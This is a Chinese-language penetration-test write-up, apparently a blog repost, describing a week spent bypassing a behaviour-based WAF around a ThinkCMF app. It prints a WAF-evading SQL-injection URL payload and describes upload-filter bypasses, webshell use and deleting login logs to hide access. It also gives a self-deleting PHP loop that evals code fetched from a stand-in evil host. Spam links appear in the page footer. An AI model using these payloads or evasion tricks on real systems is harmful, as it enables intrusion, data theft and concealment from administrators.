<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          項(xiàng)目實(shí)戰(zhàn) | 與某WAF斗智斗勇的每一天

          共 3307字,需瀏覽 7分鐘

           ·

          2020-08-23 17:27



          ps:師傅們閱讀注意,由于做項(xiàng)目的時(shí)候沒有花時(shí)間截圖,所以文章有些許表情包。項(xiàng)目實(shí)戰(zhàn)圖片寥寥無幾,可能食之無味,棄之可惜。希望師傅們多多諒解,有什么意見可以在公眾號后臺留言,勿噴。算是分享一個(gè)思路,并沒有拉低公眾號文章質(zhì)量的意思。



          0x00 前言

          這里分享一個(gè)項(xiàng)目,目標(biāo)系統(tǒng)漏洞百出但有一個(gè)極其nb的waf。我和它斗智斗勇每天進(jìn)展一點(diǎn)點(diǎn),最終用一周時(shí)間基本搞定。

          一直認(rèn)為waf這種東西只能防止無目的的攻擊,在針對性的攻擊面前,則只能拖延一點(diǎn)時(shí)間而已,并不能真正解決系統(tǒng)的安全問題。
          現(xiàn)在waf廣泛使用的【基于特征】的檢測方式有千奇百怪的攻擊手法可以繞過,而新型的【基于行為】的檢測方式國內(nèi)還不成熟。
          這里分享的案例是國內(nèi)的一個(gè)【基于特征+行為】的waf,項(xiàng)目沒有截圖,只能委屈大家看表情包腦補(bǔ)一下……

          0x01 小試牛刀(第1天)

          首先拿到手是一個(gè)app,放入模擬器抓包提取app核心域名+訪問路徑,注冊賬號在網(wǎng)頁上登陸進(jìn)行測試。?

          技術(shù)情況收集如下:目標(biāo)系統(tǒng)框架thinkcmf,修復(fù)了日志泄露漏洞,中間件nginx,操作系統(tǒng)linux,有一個(gè)不知哪個(gè)廠商的cdn并附帶waf。

          隨意測測各個(gè)功能和頁面,thinkcmf這種大框架的安全性還是可以的,但是架不住沒有安全意識的開發(fā)自己亂寫代碼。

          ?很快我發(fā)現(xiàn)url中的一個(gè)【偽靜態(tài)參數(shù)單引號報(bào)錯(cuò)】,目標(biāo)開啟了tp的sql調(diào)試模式,報(bào)錯(cuò)內(nèi)容非常詳細(xì):有sql語句,配置文件里所有內(nèi)容含鹽,當(dāng)前庫名表名,當(dāng)前用戶在用戶表中的所有字段和數(shù)據(jù)等。

          既然已經(jīng)有了數(shù)據(jù)庫賬戶和密碼(配置文件中),首先看能否繞過cdn找到真實(shí)ip直接連接,嘗試很多方法未果,報(bào)錯(cuò)頁面中其實(shí)也有ip相關(guān)信息,但是只有cdn的ip和一個(gè)內(nèi)網(wǎng)ip。

          ?


          放棄幻想開始手工注入,首先用一般的/*!50000*/混淆payload,當(dāng)場被攔,后面進(jìn)行模糊測試,觀察了這個(gè)waf檢測的特征與繞過方法如下:

          ?

          (0)大小寫混用、url、16進(jìn)制編碼無用

          ?

          (1)過濾unionselect?

          union?distinct select繞過

          ?

          (2)過濾select空格?

          select后面的參數(shù)用引號包裹可以不加空格

          ?

          (3)過濾空格from

          和from挨著的那個(gè)參數(shù)用科學(xué)計(jì)數(shù)法可以不加空格

          ?

          (4)過濾from空格

          from{x 表名}語法繞過

          ?

          (5)過濾information_schema

          沒能繞過,導(dǎo)致查不到表名列名,但還好用戶表的表名和列名都在報(bào)錯(cuò)頁面爆出來了不用查。

          ?

          (6)過濾注釋符/* - #?

          調(diào)整payload在適當(dāng)?shù)奈恢眉永ㄌ?/strong>可以不用注釋

          ?

          最終注出用戶表數(shù)據(jù)的payload如下(聯(lián)合查詢,四列,2、3列回顯):?

          https://www.example.com/a/b/c/id/1)?uNiondistinct?(select'1',username,password,3e0from{x?user}order?by?1?limit?0,1.0

          然后……下班時(shí)間到了。

          【今日成果】:app基本信息收集,數(shù)據(jù)庫敏感信息獲取,sql注入繞過waf查詢用戶表。

          ?


          0x02 暗度陳倉(第2天)

          利用sql注入查詢其他用戶數(shù)據(jù),cmf框架的用戶結(jié)構(gòu)不像一般的框架那樣分成普通用戶表和管理用戶表,它的管理員和普通用戶都在同一個(gè)表里。

          表中的用戶用一個(gè)字段去區(qū)分不同角色,這樣雖然獲取不到表名,但我只查用戶表就可以獲取管理員信息。查詢之后發(fā)現(xiàn)目標(biāo)系統(tǒng)只有一個(gè)管理員(角色字段值為1,其余用戶都是2),密碼是hash加鹽加密的,thinkcmf的加密方式cmd5里沒有,只能自己跑彩虹表。

          跑了400萬個(gè)弱口令和社工密碼之后沒解出來……其他比較靠前的測試用戶倒是解出一大堆。

          這時(shí)的情況是,【空有一個(gè)普通權(quán)限的注入點(diǎn)】,不知道其他表名只能查用戶表,管理員用戶密碼hash解不開,解開了也沒用后臺地址目前還沒找到。?
          滲透陷入了僵局,于是我開始收集信息,收集到了目標(biāo)的另外兩個(gè)站——A站和B站(非二次元)。

          ??

          【先看A站】阿里云服務(wù)器,真實(shí)ip,沒有cdn也沒有waf,寶塔,dedecms,開了22和3306端口,后臺地址admin,用戶名admin,服務(wù)器用戶名root\mysql\www(ssh用戶名枚舉漏洞)。?
          開始測試:爆破、注入、掃目錄、織夢已知漏洞等等一頓操作之后,沒搞進(jìn)去,放棄。

          【再看B站】,有cdn,ecshop,注冊賬戶后登陸,開始測試:前臺sql注入、頭像上傳、留言板xss、垂直越權(quán)等等……,都沒有。

          不慌,一個(gè)/admin看到后臺,隨手一個(gè)123456……,沒進(jìn)去。但是發(fā)現(xiàn)沒有驗(yàn)證碼,掛上burp,top10000走起,弱口令成功登入。


          進(jìn)后臺找了幾個(gè)上傳點(diǎn),全都是后綴白名單,沒有包含和解析漏洞。但是驚喜的發(fā)現(xiàn)后臺有【sql查詢功能】(直接運(yùn)行sql語句)和【數(shù)據(jù)庫測試連接功能】。?
          開始測試sql查詢功能,輸好sql語句按回車,熟悉的waf頁面又彈了出來……
          重新嘗試?yán)@過,昨天的注入點(diǎn)是get型,這里是post型,waf的過濾規(guī)則相應(yīng)有些變化。具體什么規(guī)則我沒有記錄,因?yàn)樽詈笪沂怯茫骸?strong>post傳參不限制長度,傳遞100個(gè)參數(shù)之后,第101個(gè)參數(shù)waf不會進(jìn)行檢測】這個(gè)方法去繞過的。前面加100個(gè)垃圾參數(shù),之后的參數(shù)根本不用加任何混淆,堪稱為所欲為。

          重新開始sql查詢,用戶權(quán)限r(nóng)oot,限制了文件讀寫目錄,列庫名,意外的發(fā)現(xiàn)商城和app竟然是旁站。

          ?

          現(xiàn)在我不僅可以查詢,還可以增刪改app的數(shù)據(jù),而且表名列名也都能查到了。?
          接下來嘗試用數(shù)據(jù)庫測試連接功能尋找真實(shí)ip:因?yàn)閣af是cdn附帶的,知道真實(shí)ip等于使waf失效,若3306開放還可以直接連入數(shù)據(jù)庫,所以真實(shí)ip還是很有價(jià)值的。?
          具體操作】:用nc在vps上監(jiān)聽端口,后臺這邊用測試連接功能發(fā)出請求,nc那邊收到ip地址。

          ?

          但是去訪問發(fā)現(xiàn)該ip僅開了80端口,空白頁面,修改hosts文件也沒辦法解析。真實(shí)ip還是沒有找到,真奇怪。

          容我先下個(gè)班慢慢想想怎么回事……


          【今日成果】:用戶信息收集,資產(chǎn)信息收集,旁站sql查詢功能繞過waf操作數(shù)據(jù)庫。


          0x03 登堂入室(第3天)

          截止第2天,我通過旁站的sql查詢功能拿到了數(shù)據(jù)庫root權(quán)限,但是管理員做了安全配置不能讀寫文件,所以還是要想辦法進(jìn)后臺看看能不能getshell??墒悄壳昂笈_地址還沒有找到,常規(guī)的掃目錄會被ban ip。

          隨意翻翻數(shù)據(jù)庫,在系統(tǒng)配置表里翻到了一串神秘的字符串,注釋寫著后臺加密,拿去拼到url后面試一試,竟然就跳到了后臺登陸界面。

          后面才知道目標(biāo)有個(gè)【后臺地址加密】功能,不過應(yīng)該不是cmf框架原版的后臺地址加密(/?g=admin&upw=加密碼),可能是二次開發(fā)魔改的,所以直接拼到url后面就行了。

          已知后臺,可以改管理員密碼去登陸,但是我看了一下數(shù)據(jù)庫登陸日志表,發(fā)現(xiàn)目標(biāo)的唯一管理用戶其實(shí)很多人在用,登陸頻率相當(dāng)高。直接改密碼動(dòng)作太大了。需要想另外的方法登入。

          我首先嘗試了一下登陸日志xss盲打,在數(shù)據(jù)庫里把登陸日志的一條改為偷cookie的js。然后就在xss平臺蹲守,大概一小時(shí)之后,xss平臺沒有任何記錄,反而數(shù)據(jù)庫中看到登陸日志全被管理員清掉了……弄巧成拙。


          轉(zhuǎn)變思路,把一個(gè)已解出密碼的普通用戶提權(quán)為管理員(在數(shù)據(jù)庫里改一個(gè)字段),然后提前準(zhǔn)備好清除單條登陸日志的sql句,這邊后臺一登陸,旁站那邊立刻運(yùn)行,最終依靠手速達(dá)到悄無聲息登陸后臺的效果。

          查看后臺功能,找到了一個(gè)開發(fā)自己寫的上傳點(diǎn),代碼層面應(yīng)該是沒做任何過濾,但是嘗試上傳webshell時(shí),熟悉老朋友又見面了——那個(gè)waf的頁面。

          繼續(xù)硬剛,一番測試之后,發(fā)現(xiàn)waf基于兩方面進(jìn)行攔截,一檢測文件后綴名,匹配到php等敏感后綴就不予放行(php2,php3等都試過了)。二檢測文件內(nèi)容,匹配到就不予放行(大小寫混淆也試過了)。

          了解了檢測特征,開始一一嘗試?yán)@過,首先是后綴名,利用引號分號和換行進(jìn)行混淆繞過:filename==="shell';.php"??

          文件內(nèi)容,利用php短標(biāo)簽進(jìn)行繞過。至此可以上傳webshell,先傳了個(gè)年久失修的原版冰蝎(非3.0),連接時(shí)被攔截,是基于流量特征的檢測。當(dāng)時(shí)很懶沒有去改冰蝎,直接傳了個(gè)大馬,可用。

          然后我開始翻文件,當(dāng)時(shí)沒想到這個(gè)waf還藏了一手,隨意翻了大概半小時(shí),突然熟悉的waf頁面又出來了,大馬被殺。而且我用大馬藏的其他webshell也都不能訪問了,殺的是一干二凈。


          換個(gè)ip,我又登進(jìn)后臺傳了一遍,依舊能用,但是這次僅僅過了不到十分鐘,waf就出來了。換個(gè)ip再傳,這次是一分鐘,也就是連接之后點(diǎn)了兩三下而已。這時(shí)才知道這個(gè)waf還有個(gè)基于行為檢測的功能,類似機(jī)器學(xué)習(xí)的那種感覺。
          看來這個(gè)大馬waf已經(jīng)很熟悉不能再用了,我找了另外一個(gè)大馬,正當(dāng)我換好ip打算進(jìn)去再傳一遍時(shí),突然發(fā)現(xiàn)旁站sql查詢的功能的頁面也被waf攔截了……這確認(rèn)了兩點(diǎn),

          (1)這個(gè)waf確實(shí)有自學(xué)習(xí)的功能,雖然學(xué)的慢了點(diǎn)(那個(gè)功能我用了接近一天)。
          (2)waf狠起來連自己人都?xì)ⅰ?/span>
          沒了那個(gè)功能,就不能清理登陸日志了,登陸后臺會有被發(fā)現(xiàn)的危險(xiǎn)。正好此時(shí)也到了下班時(shí)間……

          0x04 返璞歸真(第4天)

          上班,先看看被waf攔截的“自己人”有沒有恢復(fù),不看不要緊,一看發(fā)現(xiàn),管理員把整個(gè)旁站都下線了……用之前的前臺sql注入看了一下,自己加的用戶還在。但是清理不了日志的情況下怎么能隱蔽的登陸后臺呢?
          這就是考驗(yàn)手速的時(shí)候了,提前準(zhǔn)備好清理日志、拖源碼、拖庫三個(gè)php腳本,登陸后臺后立馬上傳大馬,利用waf自學(xué)習(xí)的時(shí)間差,上傳運(yùn)行并刪除三個(gè)腳本(其實(shí)可以把三個(gè)腳本合成一個(gè),然后不傳大馬直接傳腳本),之后用迅雷把源碼和數(shù)據(jù)庫下載回來就好啦。

          本來打算代碼審計(jì)一波,結(jié)果因?yàn)橐馔忭?xiàng)目結(jié)束了……


          0x05 思考

          因?yàn)轫?xiàng)目并沒有完整的做完,所以我和waf之間也沒分出個(gè)勝負(fù)。但后面想一想,針對waf這種基于行為檢測方式和自學(xué)習(xí)功能,應(yīng)該如何去繞過呢,這里有我想出的三個(gè)方法,拋磚引玉,大家也可以在留言區(qū)討論一下。
          (1)利用代理池隱蔽惡意流量?!痉治觥浚?/strong>同樣是系統(tǒng)自帶的頁面,后臺的sql查詢功能在我用了一天之后就被殺了,但是前臺的sql注入我用了四天也沒見被攔。猜測waf可能有一個(gè)模型,檢測正常流量和惡意流量的比例。【操作】:我上傳大馬后,掛一個(gè)代理池,構(gòu)造大量的正常訪問流量,把惡意流量混入其中,讓waf以為這是一個(gè)正常頁面,這樣可以降低被殺的概率。
          (2)加密返回報(bào)文。【分析】:waf是cdn附帶的,沒有部署在目標(biāo)服務(wù)器上,理論上它不可能知道我到底運(yùn)行了什么命令,所謂基于行為其實(shí)應(yīng)該是基于返回包的內(nèi)容的特征匹配。【操作】:那么我只要改一改冰蝎就好了,去掉流量特征,返回包全加密,waf就不知道我到底做了什么。
          (3)php無文件木馬?!痉治觥浚?/strong>利用php的無文件木馬,上傳一個(gè)運(yùn)行后會刪除自己的腳本,它會駐留在內(nèi)存中運(yùn)行,腳本內(nèi)容是一個(gè)死循環(huán),隔一段時(shí)間運(yùn)行一下遠(yuǎn)程vps上的代碼,這種沒有文件落地的webshell想必waf也沒辦法去攔截。

          【操作】

              unlink($_SERVER['SCRIPT_FILENAME']);    ignore_user_abort(true);    set_time_limit(0);    $remote_file ='http://www.evilsite.com/eval.txt';    while($code =file_get_contents($remote_file)){        @eval($code);        sleep(5);    };?>

          ?

          0x06 后記

          項(xiàng)目戛然而止,讓我失去了和這個(gè)waf對線的機(jī)會,說起來有點(diǎn)丟人,至今我還不知道這個(gè)waf是哪家的。項(xiàng)目全程沒有截圖,但是waf我截過一張,放在下面了。知道的師傅可以留言告訴我,感激不盡!


          ?

          END.




          歡迎轉(zhuǎn)發(fā)~

          歡迎關(guān)注~

          歡迎點(diǎn)贊~


          瀏覽 96
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評論
          圖片
          表情
          推薦
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                    <th id="afajh"><progress id="afajh"></progress></th>
                    成年人A片 | 日韩三级大香蕉 | 美女交叉免费视频啪啪 | 911偷拍网在线偷拍 | 风间由美一二三区AV片 |